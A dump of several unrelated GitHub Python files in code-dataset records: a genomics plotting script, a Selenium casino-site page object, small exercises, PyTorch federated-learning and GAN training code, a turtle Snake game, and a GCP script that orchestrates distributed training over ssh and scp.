taxonomy -a -H /data/felix/database/2020-12-02/taxons.tsv' # get full taxonomy\n\t                ), fasta)\n\n\ndef get_lineage(taxon):\n\treturn on_adler('~/.cargo/bin/umgap taxonomy -H -a /data/felix/database/2020-12-02/taxons.tsv',\n\t                str(taxon))\n\nclass Marker:\n\n\t__slots__ = [ 'start', 'end', 'frame', 'color', 'opacity' ]\n\n\tdef __init__(self, start, end, frame, color='black', opacity=1):\n\t\tself.start = start\n\t\tself.end = end\n\t\tself.frame = frame\n\t\tself.color = color\n\t\tself.opacity = opacity\n\n\tdef translate(self, y):\n\t\tself.frame += y\n\n\tdef draw(self, d, scale, margin, height_per_frame, frames):\n\t\td.append(draw.Line(\n\t\t\tself.start * scale,\n\t\t\tframes * height_per_frame - self.frame * height_per_frame - height_per_frame / 2,\n\t\t\tself.end * scale,\n\t\t\tframes * height_per_frame - self.frame * height_per_frame - height_per_frame / 2,\n\t\t\tstroke=self.color,\n\t\t\tstroke_width=5,\n\t\t\tstroke_linecap='round',\n\t\t\topacity=self.opacity))\n\n\nclass Strand:\n\n\t__slots__ = [ 'start', 'end', 'frame', 'text' ]\n\n\tdef __init__(self, start, end, frame):\n\t\tself.start = start\n\t\tself.end = end\n\t\tself.frame = frame\n\t\tself.text = ['1', '2', '3', '-1', '-2', '-3'][frame]\n\n\tdef translate(self, y):\n\t\tself.frame += y\n\n\tdef draw(self, d, scale, margin, height_per_frame, frames):\n\t\td.append(draw.Line(\n\t\t\tself.start * scale,\n\t\t\tframes * height_per_frame - self.frame * height_per_frame - height_per_frame / 2,\n\t\t\tself.end * scale,\n\t\t\tframes * height_per_frame - self.frame * height_per_frame - height_per_frame / 2,\n\t\t\tstroke='#000000',\n\t\t\t#stroke_width=1,\n\t\t\tstroke_linecap='round'))\n\t\td.append(draw.Text(self.text, 10,\n\t\t\t-4,\n\t\t\t(frames - self.frame - 1/2) * height_per_frame,\n\t\t\ttext_anchor='end',\n\t\t\talignment_baseline='middle'))\n\n\nclass Annotation:\n\n\t__slots__ = [ 'start', 'end', 'text', 'frame', 'color' ]\n\n\tdef __init__(self, start, end, text, frame, color='000000'):\n\t\tself.start = start\n\t\tself.end = end\n\t\tself.text = text\n\t\tself.frame = frame\n\t\tself.color = color\n\n\tdef translate(self, y):\n\t\t# self.frame += y # annotation on gene\n\t\tpass # annotation on top\n\n\tdef draw(self, d, scale, margin, height_per_frame, frames):\n\t\td.append(draw.Text(self.text, 14, \n\t\t    (self.start + self.end) / 2 * scale,\n\t\t    # (frames - self.frame - 1/2) * height_per_frame, # annotation on gene\n\t\t    (frames - 1) * height_per_frame, # annotation on top\n\t\t    text_anchor='middle',\n\t\t    alignment_baseline='middle'))\n\n\ndef strip_lineage(lineage):\n\treturn '\\t'.join(lineage.strip().rstrip('\\t').split('\\t')[3:])\n\n\ndef translate(y, markers):\n\tfor marker in markers:\n\t\tmarker.translate(y)\n\t\tyield marker\n\n\ndef parse_6ft(width, reflineage, sixft):\n\tframe = -1\n\toffsets = [0, 1, 3, 0, 1, 2]\n\tforward = [True] * 3 + [False] * 3\n\tfor line in sixft.split('\\n'):\n\t\tif line.startswith('>'):\n\t\t\tframe += 1\n\t\t\tyield Strand(0, width, frame)\n\t\t\tstart = 0\n\t\telse:\n\t\t\tcurlineage = strip_lineage(line)\n\t\t\tcolor = '#2e7d32' if reflineage.startswith(curlineage) else '#f44336'\n\t\t\topacity = sum(c == '\\t' for c in curlineage) / 60\n\t\t\tgenestart = 3 * start + offsets[frame] if forward[frame] else width - 3 * start + offsets[frame] - 9*3 - 3\n\t\t\tyield Marker(genestart, genestart + 3, frame, color=color, opacity=opacity)\n\t\t\tstart += 1\n\n\ndef parse_fgs(width, reflineage, fgs):\n\tfor frame in range(6):\n\t\tyield Strand(0, width, frame)\n\tfor line in fgs.split('\\n'):\n\t\tif line.startswith('>'):\n\t\t\t*_, start, end, strand = line.strip().split('_')\n\t\t\tstart, end, strand = int(start) - 1, int(end), strand == '+'\n\t\t\tframe = toframe(strand, start, end - 1, width)\n\t\t\tyield Marker(start, end, frame, color='#1565c0')\n\t\t\toffset = 0\n\t\telse:\n\t\t\tcurlineage = strip_lineage(line)\n\t\t\tcolor = '#2e7d32' if reflineage.startswith(curlineage) else '#f44336'\n\t\t\topacity = sum(c == '\\t' for c in curlineage) / 60\n\t\t\tgenestart = start + offset if strand else end - offset - 9*3 - 5\n\t\t\tyield Marker(genestart, genestart + 3, frame + 0.5, color=color, opacity=opacity)\n\t\t\toffset += 3\n\n\ndef parse_genes(start, width, genes):\n\tfor frame in range(6):\n\t\tyield Strand(0, width, frame)\n\tfor gene in genes:\n\t\tframe = toframe(gene['strand'] > 0, gene['start'] - start, gene['end'] - start, width)\n\t\tyield Marker(max(gene['start'] - start, 0),\n\t\t             min(gene['end'] - start, width),\n\t\t             frame,\n\t\t             color='#ff8f00')\n\t\tname = gene.get('transcript', gene['id'])\n\t\tyield Annotation(max(gene['start'] - start, 0),\n\t\t                 min(gene['end'] - start, width),\n\t\t                 name,\n\t\t                 frame,\n\t\t                 color='#ff8f00')\n\n\ndef toframe(f, s, e, width):\n\tif f:\n\t\treturn s % 3\n\telse:\n\t\treturn 3 + (width - e) % 3\n\n\ndef main(imgfile, taxon, species, chromosome, start, end):\n\twidth = end - start\n\tread = fasta(taxon, species, chromosome, start, end)\n\tlineage = strip_lineage(get_lineage(taxon))\n\tgenes = fetch_genes(taxon, species, chromosome, start, end)\n\tfor gene in genes:\n\t\tgene['transcript'] = fetch_transcript(gene['id'])\n\tgene_markers = translate(2, parse_genes(start, width, genes))\n\tfgs_markers = translate(11, parse_fgs(width, lineage, run_fgs(read)))\n\tfgsrs_markers = translate(20, parse_fgs(width, lineage, run_fgsrs(read)))\n\tft6_markers = translate(29, parse_6ft(width, lineage, run_6ft(read)))\n\n\tmargin = 20\n\theight_per_frame = 10\n\tframes = 36\n\ttargetwidth = 700\n\td = draw.Drawing(targetwidth + 2 * margin, margin + frames * height_per_frame, origin=(-margin, -margin))\n\tfor element in itertools.chain(gene_markers, ft6_markers, fgs_markers, fgsrs_markers):\n\t\telement.draw(d, targetwidth / width, margin, height_per_frame, frames)\n\n\tdef title(s, h):\n\t\td.append(draw.Text(s, 14, 0, (frames - h) * height_per_frame, alignment_baseline='middle'))\n\ttitle('RefSeq', 1.5)\n\ttitle('FGS++', 10.5)\n\ttitle('FGSrs', 19.5)\n\ttitle('six-frame translation', 28.5)\n\n\td.saveSvg(imgfile)\n\n\nA0A009H596 = ('image.png', 470, 'Acinetobacter_baumannii_118362_gca_000580515', 'ab118362.contig.17_1', 53253, 55397)\ninteresting = ('image.svg', 470, 'Acinetobacter_baumannii_118362_gca_000580515', 'ab118362.contig.8_1', 38308, 40888)\nother = ('image.png', 470, 'Acinetobacter_baumannii_118362_gca_000580515', 'ab118362.contig.8_1', 23000, 26000)\nchosen = ('final-raw.svg', 470, 'Acinetobacter_baumannii_118362_gca_000580515', 'ab118362.contig.8_1', 37700, 39530)\nexperiment_fgs = ('fgsfgs.svg', 470, 'Acinetobacter_baumannii_118362_gca_000580515', 'ab118362.contig.8_1', 37700, 39530)\nexperiment_rs = ('fgsrs.svg', 470, 'Acinetobacter_baumannii_118362_gca_000580515', 'ab118362.contig.8_1', 37700, 39530)\n","repo_name":"ninewise/dissertation","sub_path":"umgap/figures/6ft-figure/fetch.py","file_name":"fetch.py","file_ext":"py","file_size_in_byte":9073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"21052405776","text":"'''\nCreated on Aug 14, 2018\n\n@author: Daryoush\n'''\n\nfrom CasinoAuto.Locators.UIMapCasinoPage import  CasinoPageMapXpath\nfrom CasinoAuto.Locators.UIMapCasinoPage import  SearchResult\nfrom CasinoAuto.Locators.UIMapCasinoPage import  LogInPageMap\nfrom CasinoAuto.Constants                                import Casino_Constants\nfrom MatchBookLoginPage import MatchBookLoginPage\nfrom BasePage                import BasePage\nfrom CasinoAuto.Locators.UIMapHomePage import HomePageMapXpath\nimport time\nclass CasinoPage(BasePage):\n    def __init__(self, driver):\n        super(CasinoPage, self).__init__(driver)\n        #self.nhl = self.driver.find_element(CasinoPageMapXpath[\"lhncasinoLocatorXpath\"])\n        #self.nhl.click()\n        #self.driver.navigate_to_page(\"https://dev06.xcl.ie/casino\")\n        \n#defining the casino page object here\n    def  _verify_page(self):\n        try:\n            \n            self.wait_for_element_visibility(10,\"cssSelector\",CasinoPageMapXpath[\"newgameLocator\"]  )\n        except:   \n            raise Exception(\"newgameLocator is not accessable\")\n        try:\n            \n            self.wait_for_element_visibility(10,\"cssSelector\",CasinoPageMapXpath[\"popularLocator\"]  )\n        except:   \n            raise Exception(\"popularLocator is not accessable\")\n        try:\n            \n            self.wait_for_element_visibility(10,\"cssSelector\",CasinoPageMapXpath[\"jackpotsLcoator\"]  )\n        except:   \n            raise Exception(\"jackpotsLcoator is not accessable\")\n        try:\n            \n            self.wait_for_element_visibility(10,\"cssSelector\",CasinoPageMapXpath[\"slotgameLcoator\"]  )\n        except:   \n            raise Exception(\"slotgame is not accessable\")\n\n        try:\n            \n            self.wait_for_element_visibility(10,\"cssSelector\",CasinoPageMapXpath[\"tablegametablocator\"]  )\n        except:   \n            raise Exception(\"tablegametablocator is not accessable\")\n        try:\n            \n            self.wait_for_element_visibility(10,\"cssSelector\",CasinoPageMapXpath[\"videopokerlocator\"]  )\n        except:   \n            raise Exception(\"videopokerlocator is not accessable\")\n        try:\n            \n            self.wait_for_element_visibility(10,\"cssSelector\",CasinoPageMapXpath[\"searchcasinoLocator\"]  )\n        except:   \n            raise Exception(\"searchcasinolocator is not accessable\")\n        try:\n\n            self.wait_for_element_visibility(10, \"cssSelector\", LogInPageMap[\"LoginButtonTop\"])\n        except:\n            raise Exception(\"LogInPageMap is not accessable\")\n        \n    def newgames(self):\n        self.click(10, \n                   \"cssSelector\",\n                   CasinoPageMapXpath[\"newgameLocator\"]\n        )\n        \n    def populargames(self):\n        self.click(10, \n                   \"cssSelector\",\n                   CasinoPageMapXpath[\"popularLocator\"]\n        )    \n    def jackpotgames(self):\n        self.click(10, \n                   \"cssSelector\",\n                   CasinoPageMapXpath[\"jackpotsLcoator\"]\n        )\n        \n    def slotgames(self):\n        self.click(10, \n                   \"cssSelector\",\n                   CasinoPageMapXpath[\"slotgameLcoator\"]\n        )        \n    def tablegames(self):\n        self.click(10, \n                   \"cssSelector\",\n                   CasinoPageMapXpath[\"tablegametablocator\"]\n        )\n    def videopokergames(self):\n        self.click(10, \n                   \"cssSelector\",\n                   CasinoPageMapXpath[\"videopokerlocator\"]\n        )\n\n    def livecasinolink(self):\n        self.click(10, \n                   \"cssSelector\",\n                   CasinoPageMapXpath[\"liveDealer\"]\n        )\n\n    def searchcasinolink(self):\n        self.click(10, \n                   \"cssSelector\",\n                   CasinoPageMapXpath[\"searchcasinoLocator\"]\n        ) \n    def submit_request_search(self,testitem):\n        self.fill_out_field(\"cssSelector\",\n                            CasinoPageMapXpath['searchcasinoLocator'],\n                            testitem\n        )\n        return self    \n    def verifygamExisting(self,testitem2):\n        try:\n            self.find_element(\"cssSelector\", SearchResult[testitem2])\n        except:\n            raise Exception(testitem2 +\" is not displayed\")\n\n    def click_logintop_button(self):\n        self.click(10,\n                   \"cssSelector\",\n                   LogInPageMap['LoginButtonTop'])\n        mainWindowHandle = self.driver.window_handles\n        self.click(10,\n                   \"xpath\",\n                   LogInPageMap['LogInToMatchbookTextXpath']\n                   )\n        allWindowHandles = self.driver.window_handles\n        for handle in allWindowHandles:\n            if handle != mainWindowHandle[0]:\n                self.switch_to_window(handle)\n                break\n        log_obj = MatchBookLoginPage(self.driver,\n                                  Casino_Constants['CAsino_Username'],\n                                  Casino_Constants['Casino_Password']\n                                 )\n        log_obj.login()\n        try:\n            self.wait_for_element_visibility(10, \"cssSelector\", HomePageMapXpath[\"rhsaccount\"])\n            element = self.find_element(\"cssSelector\", HomePageMapXpath[\"rhsaccount\"])\n            element.click()\n            self.wait_for_element_visibility(10, \"cssSelector\", CasinoPageMapXpath[\"Usernametitle\"])\n            element =  self.find_element(\"cssSelector\", CasinoPageMapXpath[\"Usernametitle\"])\n            text1 = element.get_attribute('innerText')\n            print(text1)\n            if(text1==Casino_Constants[\"CAsino_Username\"]):\n                print(\"Successful Log in\")\n        except:\n            print(\" user name is not displayed will try usernamebonus too\")\n\n        try:\n            self.wait_for_element_visibility(10, \"cssSelector\", CasinoPageMapXpath[\"bonususernametitle\"])\n            element =  self.find_element(\"cssSelector\", CasinoPageMapXpath[\"bonususernametitle\"])\n            text1 = element.get_attribute('innerText')\n            print(text1)\n            if(text1==Casino_Constants[\"CAsino_Username\"]):\n                print(\"Successful Log in\")\n        except:\n            print(\" user name has not assigned bonus yet\")\n\n","repo_name":"dtahouri775/August24","sub_path":"CasinoAuto/Pages/CasinoPage.py","file_name":"CasinoPage.py","file_ext":"py","file_size_in_byte":6217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"28377891695","text":"# Fibonacci Fácil\nseq = int(input())\ndic = {0:0, 1:1, 2:1}\nfibonacci = []\n\nfor valor in range(seq):\n    if valor <= 2:\n        fibonacci.append(dic[valor])\n    else:\n        fibonacci.append(fibonacci[-1] + fibonacci[-2])\n    \nprint(*fibonacci)    \n    \n\n","repo_name":"joaogui745/URI-Online-Judge","sub_path":"Python 3/1151 - Fibonacci Fácil.py","file_name":"1151 - Fibonacci Fácil.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"26975575867","text":"import torch\nimport torch.nn.functional as F\nfrom torch import nn\nfrom utils.fmodule import FModule, get_module_from_model\nimport utils.fmodule as fmodule\nimport numpy as np\n\ndef init_weights(m):\n    if isinstance(m, nn.Linear):\n        torch.nn.init.xavier_uniform_(m.weight)\n        m.bias.data.fill_(0.01)\n        \ndef get_ultimate_layer(model: nn.Module):\n    penul = get_module_from_model(model)[-1]._parameters['weight']\n    return penul\n\nclass FeatureExtractor(FModule):\n    def __init__(self, output_dim = 512):\n        super().__init__()\n        self.conv1 = nn.Conv2d(in_channels=1, out_channels=32, kernel_size=5, padding=2)\n        self.conv2 = nn.Conv2d(in_channels=32, out_channels=64, kernel_size=5, padding=2)\n        self.fc1 = nn.Linear(3136, output_dim)\n        self.apply(init_weights)\n        \n    def forward(self, x):\n        \"\"\"\n        This function returns the representation of x\n        \"\"\"\n        x = x.view((x.shape[0],28,28))\n        x = x.unsqueeze(1)\n        x = F.max_pool2d(F.relu(self.conv1(x)), 2)\n        x = F.max_pool2d(F.relu(self.conv2(x)), 2)\n        x = x.view(-1, x.shape[1] * x.shape[2] * x.shape[3])\n        r_x = F.relu(self.fc1(x))\n        r_x = r_x / torch.norm(r_x, dim=1, keepdim=True)\n        return r_x\n    \nclass Classifier(FModule): \n    def __init__(self, input_dim = 512, output_dim = 10):\n        super().__init__()\n        self.fc2 = nn.Linear(input_dim, output_dim)\n        self.apply(init_weights)\n        \n    def forward(self, r_x):\n        \"\"\"\n        This function returns the logits of r_x\n        \"\"\"\n        l_x = self.fc2(r_x)\n        return l_x\n    \nclass MaskGenerator(FModule):\n    def __init__(self, input_dim = 100, mid_dim = 128, output_dim = 10):\n        super().__init__()\n        self.fc3 = nn.Linear(input_dim, mid_dim)\n        self.fc4 = nn.Linear(mid_dim, output_dim)\n        self.apply(init_weights)\n    \n    def forward(self, r_x):\n        \"\"\"\n        This function generate a mask's diagonal vector for each element in r_x,\n        returning shape of b x 10\n        \"\"\"\n        dm_x = F.relu(self.fc3(r_x))\n        dm_x = torch.softmax(self.fc4(dm_x), dim=1)\n        dm_x = dm_x.view(r_x.shape[0], 10)\n        return dm_x\n    ","repo_name":"AIoT-Lab-BKAI/Hung-NN-verifiedFL","sub_path":"utils/elements.py","file_name":"elements.py","file_ext":"py","file_size_in_byte":2212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"23211547809","text":"import argparse\nimport os\nimport numpy as np\nimport math\n\nimport torchvision.transforms as transforms\nfrom torchvision.utils import save_image\n\nfrom torch.utils.data import DataLoader\nfrom torchvision import datasets\nfrom torch.autograd import Variable\n\nimport visdom\n\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch\nfrom dataset import Dataset\nimport GAN\nimport utils\n\nos.makedirs(\"images\", exist_ok=True)\n\nopt = utils.get_args()\nprint(opt)\n\nimg_shape = (opt.channels, opt.img_size, opt.img_size)\n\ncuda = True if torch.cuda.is_available() else False\n\n# Loss function\nadversarial_loss = torch.nn.BCELoss()\n\n# Initialize generator and discriminator\ngenerator = GAN.Generator(opt.latent_dim, img_shape)\ndiscriminator = GAN.Discriminator(img_shape)\n\nif cuda:\n    generator.cuda()\n    discriminator.cuda()\n    adversarial_loss.cuda()\n\n# Configure data loader\nos.makedirs(\"../../data/mnist\", exist_ok=True)\n\ndata_dirs = [\"./MTFL/AFLW\", \"./MTFL/lfw_5590\", \"./MTFL/net_7876\"]\ndataset = Dataset(data_dirs)\n\ndataloader = torch.utils.data.DataLoader(dataset, batch_size=opt.batch_size, shuffle=True)\n\n# Optimizers\noptimizer_G = torch.optim.Adam(generator.parameters(), lr=opt.lr, betas=(opt.b1, opt.b2))\noptimizer_D = torch.optim.Adam(discriminator.parameters(), lr=opt.lr, betas=(opt.b1, opt.b2))\n\nTensor = torch.cuda.FloatTensor if cuda else torch.FloatTensor\n\nif opt.if_visual:\n    vis = visdom.Visdom(env='mygan')\n\n# ----------\n#  Training\n# ----------\n\nfor epoch in range(opt.n_epochs):\n    for i, imgs in enumerate(dataloader):\n\n        # Adversarial ground truths\n        valid = Variable(Tensor(imgs.size(0), 1).fill_(1.0), requires_grad=False)\n        fake = Variable(Tensor(imgs.size(0), 1).fill_(0.0), requires_grad=False)\n\n        # Configure input\n        real_imgs = Variable(imgs.type(Tensor))\n\n        # -----------------\n        #  Train Generator\n        # -----------------\n\n        optimizer_G.zero_grad()\n\n        # Sample noise as generator input\n        z = Variable(Tensor(np.random.normal(0, 1, (imgs.shape[0], opt.latent_dim))))\n\n        # Generate a batch of images\n        gen_imgs = generator(z)\n\n        # Loss measures generator's ability to fool the discriminator\n        g_loss = adversarial_loss(discriminator(gen_imgs), valid)\n\n        g_loss.backward()\n        optimizer_G.step()\n\n        # ---------------------\n        #  Train Discriminator\n        # ---------------------\n\n        optimizer_D.zero_grad()\n\n        # Measure discriminator's ability to classify real from generated samples\n        real_loss = adversarial_loss(discriminator(real_imgs), valid)\n        fake_loss = adversarial_loss(discriminator(gen_imgs.detach()), fake)\n        d_loss = (real_loss + fake_loss) / 2\n\n        d_loss.backward()\n        optimizer_D.step()\n\n        print(\n            \"[Epoch %d/%d] [Batch %d/%d] [D loss: %f] [G loss: %f]\"\n            % (epoch, opt.n_epochs, i, len(dataloader), d_loss.item(), g_loss.item())\n        )\n\n        x = torch.Tensor([epoch+0.003*i])\n        y_d_loss = torch.Tensor([d_loss.item()])\n        y_g_loss = torch.Tensor([g_loss.item()])\n        y_sum_loss = torch.Tensor([d_loss.item() + g_loss.item()])\n        vis.line(X=x, Y=y_d_loss, win=\"dloss\", update='append', opts={'title': 'y=d_loss'})\n        vis.line(X=x, Y=y_g_loss, win=\"gloss\", update='append', opts={'title': 'y=g_loss'})\n        vis.line(X=x, Y=y_sum_loss, win=\"d_g_loss\", update='append', opts={'title': 'y=sum_loss'})\n\n        if epoch % opt.save_interval == 0:\n            torch.save({\n                'epoch': epoch,\n                'generator_state_dict': generator.state_dict(),\n                'discriminator_state_dict': discriminator.state_dict(),\n                'generator_optimizer': optimizer_G.state_dict(),\n                'discriminator_optimizer': optimizer_D.state_dict(),\n            }, \"save/face_model_%d.pkl\" % epoch)\n\n        batches_done = epoch * len(dataloader) + i\n        if batches_done % opt.sample_interval == 0:\n            save_image(gen_imgs.data[:25], \"images/%d.png\" % batches_done, nrow=5, normalize=True)\n","repo_name":"zcoo/face_gan","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"44189730530","text":"from turtle import Screen, Turtle\r\nfrom snake import Snake\r\nimport time\r\nfrom food import Food\r\n\r\n\r\ndef create_scoreboard(turtles2, score):\r\n    turtles2.penup()\r\n    turtles2.hideturtle()\r\n    turtles2.goto(0, 450)\r\n    turtles2.color(\"red\")\r\n    turtles2.write(f\"Score is {score}\", font=(\"Verdana\", 20, \"normal\"), align=\"center\")\r\n\r\n\r\ndef add_to_scoreboard(turtles2, score):\r\n    turtles2.clear()\r\n    turtles2.write(f\"Score is {score}\", font=(\"Verdana\", 20, \"normal\"), align=\"center\")\r\n\r\n\r\ndef main():\r\n    screen = Screen()\r\n    screen.setup(width=950, height=950)\r\n    screen.bgcolor(\"black\")\r\n    screen.title(\"My Snake Game-by Squid\")\r\n    screen.tracer(0)  # Turn turtle animation on/off and set delay for update drawings.\r\n\r\n    snake1 = Snake()  # call initialize snake function and save the list of turtle names\r\n    food1 = Food()\r\n    score1 = 0\r\n    scoreboard1 = Turtle()\r\n    create_scoreboard(scoreboard1, score1)\r\n\r\n    screen.listen()  # want to \"listen\" for arrow keys\r\n    screen.onkey(snake1.move_up, \"Up\")\r\n    screen.onkey(snake1.move_down, \"Down\")\r\n    screen.onkey(snake1.move_left, \"Left\")\r\n    screen.onkey(snake1.move_right, \"Right\")\r\n\r\n    game_on = True\r\n    while game_on:\r\n        screen.update()  # signals screen to update since with tracer set to zero it wont on its own\r\n        time.sleep(0.1)  # set a delay here by amount in sleep function call\r\n        snake1.move_forward()\r\n\r\n        if food1.distance(snake1.turt_list[0]) <= 15:  # detect a collision between snake and food\r\n            score1 += 1\r\n            print(F\"Collision! +1 to your score. Score is now: {score1}\")\r\n            food1.move_rand()\r\n            snake1.add_snake()\r\n            add_to_scoreboard(scoreboard1, score1)\r\n        if snake1.turt_list[0].xcor() > 500 or snake1.turt_list[0].xcor() < -500 or snake1.turt_list[0].ycor() > 500 or snake1.turt_list[0].ycor() < -500:\r\n            game_on = False\r\n            print(\"You hit a wall, game over\")\r\n        for i in range(1, len(snake1.turt_list) - 1):  # see if snake hits any turtle in snake except first one\r\n            if snake1.turt_list[0].distance(snake1.turt_list[i]) <= 15:\r\n                game_on = False\r\n                print(\"You hit the snake, game over\")\r\n\r\n    print(f\"Your final score is {score1}\")\r\n    screen.exitonclick()\r\n\r\n\r\nmain()\r\n","repo_name":"reya01/Snake_game","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"7299084063","text":"import os\nimport argparse\nimport json\nimport threading\nimport os.path\nfrom os import path\nimport time\nimport subprocess\nimport socket\nfrom queue import *\nimport random\n\nfrom logger import logger\nfrom env_vars import *\n\n# run one iteration of training\n#\n\nos.chdir(PROJECT_ROOT)\n\nwith open('gcp_config.json') as json_file:\n    data = json.load(json_file)\n    assert('num_leaves' in data)\n    NUM_LEAVES = data['num_leaves']\n    assert('run_id' in data)\n    RUN_ID = data['run_id']\n    assert('zone' in data)\n    GCP_ZONE = data['zone']\n\ndef ScpFromLeaf(leaf_id, remote_filename, local_filename):\n    assert(0 <= leaf_id and leaf_id < NUM_LEAVES)\n    retry_cnt = 0\n    cmd = 'gcloud beta compute --project edgect-1155 scp indigo-%s-leaf%d:%s %s --zone %s' % (RUN_ID, leaf_id, remote_filename, local_filename, GCP_ZONE)\n    while True:\n        exit_code = os.system(cmd)\n        if exit_code == 256:\n            # scp failed with some small probablity\n            # just retry in this case\n            retry_cnt += 1\n            logger.warning('***WARN*** ssh failed, retrying.. leaf_id = %d, cnt = %d' % (leaf_id, retry_cnt))\n            if retry_cnt > 10:\n                break\n            time.sleep(retry_cnt)\n        else:\n            break\n    return exit_code\n\n\t\ndef ExecuteOnLeaf(leaf_id, command):\n    assert(0 <= leaf_id and leaf_id < NUM_LEAVES)\n    retry_cnt = 0\n    cmd = 'gcloud beta compute --project edgect-1155 ssh --zone %s indigo-%s-leaf%d -- \"%s\"' % (GCP_ZONE, RUN_ID, leaf_id, command)\n    while True:\n        exit_code = os.system(cmd)\n        if exit_code == 65280:\n            # ssh failed with some small probablity\n            # just retry in this case\n            retry_cnt += 1\n            logger.warning('***WARN*** ssh failed, retrying.. leaf_id = %d, cnt = %d' % (leaf_id, retry_cnt))\n            if retry_cnt > 10:\n                break\n            time.sleep(retry_cnt)\n        else:\n            break\n    return exit_code\n\nclass AsyncRunOnLeaf(threading.Thread):\n    def __init__(self, leaf_id, fn):\n        threading.Thread.__init__(self)\n        self.fn = fn\n        self.leaf_id = leaf_id\n        self.daemon = True\n        self.exit_code = -1\n\t\t\n    def run(self):\n        self.exit_code = self.fn(self.leaf_id)\n\t\ndef ExecuteOnAllLeaves(fn):\n    threads = []\n    for i in range(0, NUM_LEAVES):\n        threads.append(AsyncRunOnLeaf(i, fn))\n        threads[i].start()\n\t\n    for i in range(0, NUM_LEAVES):\n        threads[i].join()\n\t\n    for i in range(0, NUM_LEAVES):\n        assert(threads[i].exit_code == 0)\n\t\t\nos.chdir(PROJECT_ROOT + '/' + MODEL_REPO_NAME)\n\n# discard all changes from maybe failed previous iteration\n#\nexit_code = os.system('git reset --hard')\nassert(exit_code == 0) \n\n# read version number\n#\nwith open('version') as f:\n    values = f.read().splitlines()\n    assert(len(values) == 1)\n    VERSION = int(values[0])\n    assert(VERSION >= 0)\n\nos.chdir(PROJECT_ROOT)\n\nlogger.info('****** Training on model version %d ******' % VERSION)\n\ndef leaf_init(leaf_id):\n    return ExecuteOnLeaf(leaf_id, 'cd %s/%s && git pull && git checkout %s && [ \\'0\\' == \\\\\"\\\\$(cat version)\\\\\" ] || (echo \\'Wrong version:\\' && cat version && false) && sudo insmod indigo.ko' % (TRAIN_REPO_NAME, MODEL_REPO_NAME, RUN_ID))\n\ndef leaf_update(leaf_id):\n    return ExecuteOnLeaf(leaf_id, 'cd %s/%s && sudo rmmod indigo.ko && git pull && [ \\'%d\\' == \\\\\"\\\\$(cat version)\\\\\" ] || (echo \\'Wrong version:\\' && cat version && false) && sudo insmod indigo.ko' % (TRAIN_REPO_NAME, MODEL_REPO_NAME, VERSION))\n\t\nif (VERSION == 0):\n    # for the first iteration, let the leaves pull the repo, checkout correct branch, and insmod\n    ExecuteOnAllLeaves(leaf_init)\nelse:\n    # for later iterations, just rmmod, pull the repo, and insmod\n    ExecuteOnAllLeaves(leaf_update)\n\t\nlogger.info('****** All leaves updated LKM successfully, distributing tasks to leaves ******')\n\n# OK if exists\nos.system('mkdir training_data')\n\n# OK if not exist\nos.system('rm -rf training_data/%d' % VERSION)\n\nexit_code = os.system('mkdir training_data/%d' % VERSION)\nassert(exit_code == 0)\n\nq = Queue()\n\ndef collect_sample(leaf_id, task):\n    task_id = task[0]\n    repeat_id = task[1]\n    exit_code = ExecuteOnLeaf(leaf_id, 'cd %s && python3 collect_data.py --task %d' % (TRAIN_REPO_NAME, task_id))\n    if (exit_code != 0):\n        logger.error('***ERR*** collect_data.py failed with exit code %d' % exit_code)\n        return exit_code\n    \n    exit_code = ScpFromLeaf(leaf_id, '%s/training_output.npz' % TRAIN_REPO_NAME, 'training_data/%d/%d_%d.npz' % (VERSION, task_id, repeat_id))\n    if (exit_code != 0):\n        logger.error('***ERR*** scp failed with exit code %d' % exit_code)\n        return exit_code\n    \n    return 0\n    \ndef leaf_fn(leaf_id):\n    ret = 0\n    while True:\n        item = q.get()\n        if item is None:\n            break\n        exit_code = collect_sample(leaf_id, item)\n        if (exit_code != 0):\n            logger.error('***ERR*** Command failed with exit code %d! Leaf id: %d, item %s' % (exit_code, leaf_id, str(item)))\n            ret = exit_code\n        q.task_done()\n    return ret\n    \nwith open('workloads/config.json') as json_file:\n    tasks_json = json.load(json_file) \n\nall_tasks = []\nfor i in range(0, len(tasks_json)):\n    task = tasks_json[i]\n    assert('repeats' in task)\n    repeats = task['repeats']\n    for k in range(0, repeats):\n        all_tasks.append([i, k])\n        \nrandom.shuffle(all_tasks)\n\nthreads = []\nfor i in range(0, NUM_LEAVES):\n    threads.append(AsyncRunOnLeaf(i, leaf_fn))\n    threads[i].start()\n\nfor item in all_tasks:\n    q.put(item)\n\nq.join()\n\nfor i in range(0, NUM_LEAVES):\n    q.put(None)\n\nfor i in range(0, NUM_LEAVES):\n    threads[i].join()\n\nfor i in range(0, NUM_LEAVES):\n    assert(threads[i].exit_code == 0)\n    \nlogger.info('****** All leaf tasks completed successfully, training model ******')\n\nstart_time = time.time()\n\nexit_code = os.system('python3 run_trainer.py')\nassert(exit_code == 0)\n\nend_time = time.time()\n\nlogger.info('****** Training complete in %f sec, building .pb file ******' % (float(end_time - start_time)))\n\nexit_code = os.system('python3 build_pb_file.py')\nassert(exit_code == 0)\n\nlogger.info('****** .pb file build complete, building LKM file ******')\n\nexit_code = os.system('python3 build_lkm_file.py')\nassert(exit_code == 0)\n\nlogger.info('****** LKM file build complete, incrementing model version to %d and committing model ******' % (VERSION + 1))\n\nexit_code = os.system('echo \"%d\" > %s/version' % (VERSION + 1, MODEL_REPO_NAME))\nassert(exit_code == 0)\n\nexit_code = os.system('python3 commit_model.py')\nassert(exit_code == 0)\n\nlogger.info('****** Training on model version %d complete, now model version is incremented to %d ******' % (VERSION, VERSION + 